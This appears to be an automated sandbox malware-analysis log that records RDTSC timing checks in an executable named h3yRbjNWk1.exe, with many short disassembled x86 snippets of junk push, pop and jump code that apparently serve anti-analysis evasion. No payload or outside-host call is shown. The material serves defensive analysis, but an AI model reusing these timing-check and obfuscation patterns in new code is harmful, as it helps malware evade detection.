Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A64A6B second address: A64A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A64A70 second address: A64A93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A64A93 second address: A64AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F97B4F2EDC6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A64AA0 second address: A64AA5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A6FB07 second address: A6FB1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDCCh 0x00000007 js 00007F97B4F2EDCCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A6F92B second address: A6F935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F97B4EC49B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A6F935 second address: A6F94B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDCCh 0x00000007 jc 00007F97B4F2EDC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A6F94B second address: A6F961 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F97B4EC49BDh 0x0000000a pop ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A6F961 second address: A6F97F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4F2EDD8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A6F97F second address: A6F993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F97B4EC49BBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A6F993 second address: A6F998 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A7744A second address: A7744E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A75E91 second address: A75E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A75E97 second address: A75E9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A75E9D second address: A75EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F97B4F2EDD5h 0x0000000d jl 00007F97B4F2EDCCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A7600C second address: A76017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F97B4EC49B6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A76017 second address: A7601C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A7601C second address: A76022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A76022 second address: A7602E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F97B4F2EDC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A766B5 second address: A766DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jg 00007F97B4EC49CFh 0x0000000d jmp 00007F97B4EC49C9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A766DB second address: A76706 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F97B4F2EDCEh 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007F97B4F2EDC6h 0x00000010 jmp 00007F97B4F2EDCBh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jp 00007F97B4F2EDCCh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A76706 second address: A76723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4EC49C9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A76723 second address: A7672D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F97B4F2EDC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A77150 second address: A77169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jp 00007F97B4EC49BEh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A77169 second address: A7716F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A7716F second address: A77173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A77173 second address: A77177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A77177 second address: A77181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A77181 second address: A7718B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F97B4F2EDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A79F2A second address: A79F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A8AF2D second address: A8AF31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A8AF31 second address: A8AF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F97B4EC49B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A8AF3D second address: A8AF54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD2h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A9A868 second address: A9A874 instructions: 0x00000000 rdtsc 0x00000002 js 00007F97B4EC49BEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A9A874 second address: A9A87B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A9A87B second address: A9A890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4EC49BDh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: A9A40B second address: A9A425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4F2EDD6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB57F4 second address: AB57F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB57F8 second address: AB5817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F97B4F2EDD9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB47FB second address: AB4803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB4803 second address: AB480C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB480C second address: AB4823 instructions: 0x00000000 rdtsc 0x00000002 je 00007F97B4EC49C9h 0x00000008 jmp 00007F97B4EC49BDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB520C second address: AB5220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4F2EDCDh 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB5220 second address: AB522E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F97B4EC49B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB5366 second address: AB536A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB536A second address: AB5376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB5376 second address: AB5385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jo 00007F97B4F2EDC6h 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB54E2 second address: AB54F2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F97B4EC49B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB6D35 second address: AB6D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB99E5 second address: AB99F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F97B4EC49B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB99F1 second address: AB99F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: AB99F5 second address: AB9A09 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F97B4EC49B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: ABC885 second address: ABC8E6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F97B4F2EDCAh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F97B4F2EDCEh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F97B4F2EDC8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov edx, dword ptr [ebp+122D2BB4h] 0x00000032 mov edx, ebx 0x00000034 push dword ptr [ebp+122D34DEh] 0x0000003a clc 0x0000003b push 9A6D1498h 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 push ebx 0x00000044 pop ebx 0x00000045 push eax 0x00000046 pop eax 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: ABC8E6 second address: ABC8F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F97B4EC49B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: ABE030 second address: ABE044 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F97B4F2EDD2h 0x0000000c jnl 00007F97B4F2EDC6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB01B2 second address: 4CB01CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB01CB second address: 4CB01E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CB01E8 second address: 4CB02C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F97B4EC49C7h 0x00000011 sbb eax, 14F3142Eh 0x00000017 jmp 00007F97B4EC49C9h 0x0000001c popfd 0x0000001d call 00007F97B4EC49C0h 0x00000022 jmp 00007F97B4EC49C2h 0x00000027 pop ecx 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F97B4EC49C7h 0x00000031 add esi, 5AF79F9Eh 0x00000037 jmp 00007F97B4EC49C9h 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007F97B4EC49C0h 0x00000043 sub ax, 8998h 0x00000048 jmp 00007F97B4EC49BBh 0x0000004d popfd 0x0000004e popad 0x0000004f mov ebp, esp 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 mov ebx, 37548086h 0x00000059 mov esi, edx 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA0040 second address: 4CA00A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, BC8Eh 0x00000007 jmp 00007F97B4F2EDCFh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F97B4F2EDD9h 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F97B4F2EDCEh 0x0000001b mov ebp, esp 0x0000001d jmp 00007F97B4F2EDD0h 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov dx, ED80h 0x0000002a mov ebx, 4DB761ACh 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA00A2 second address: 4CA00B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4EC49C1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CE0006 second address: 4CE002B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebx, eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F97B4F2EDD6h 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov esi, edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CE002B second address: 4CE0050 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, edx 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F97B4EC49BBh 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov edi, 19536476h 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CE0050 second address: 4CE0054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CE0054 second address: 4CE005A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CE005A second address: 4CE0060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CE0060 second address: 4CE0064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CE0064 second address: 4CE0068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C7011F second address: 4C70123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C70123 second address: 4C70129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90C56 second address: 4C90C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90C5C second address: 4C90C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90C60 second address: 4C90C64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90C64 second address: 4C90CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F97B4F2EDD0h 0x00000010 sbb al, FFFFFF98h 0x00000013 jmp 00007F97B4F2EDCBh 0x00000018 popfd 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F97B4F2EDCEh 0x00000024 add ecx, 6B225DF8h 0x0000002a jmp 00007F97B4F2EDCBh 0x0000002f popfd 0x00000030 mov ecx, 76D2772Fh 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90CBA second address: 4C90CBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90835 second address: 4C9086B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F97B4F2EDCAh 0x00000013 xor esi, 0D5AD2A8h 0x00000019 jmp 00007F97B4F2EDCBh 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C906FD second address: 4C9077D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, E5F4h 0x00000007 mov si, bx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F97B4EC49BFh 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F97B4EC49C4h 0x0000001c or si, A2D8h 0x00000021 jmp 00007F97B4EC49BBh 0x00000026 popfd 0x00000027 call 00007F97B4EC49C8h 0x0000002c mov di, si 0x0000002f pop ecx 0x00000030 popad 0x00000031 pop ebp 0x00000032 pushad 0x00000033 mov ax, dx 0x00000036 push eax 0x00000037 push edx 0x00000038 call 00007F97B4EC49C5h 0x0000003d pop esi 0x0000003e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90430 second address: 4C9045C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 5261022Ah 0x00000008 mov ebx, 07E516F6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F97B4F2EDD5h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C9045C second address: 4C90462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90462 second address: 4C90466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4C90466 second address: 4C9046A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA03BE second address: 4CA03E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA03E3 second address: 4CA03E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA03E7 second address: 4CA03ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA03ED second address: 4CA042C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F97B4EC49C0h 0x00000009 sub si, B008h 0x0000000e jmp 00007F97B4EC49BBh 0x00000013 popfd 0x00000014 mov dx, si 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F97B4EC49C1h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 4CA042C second address: 4CA0432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
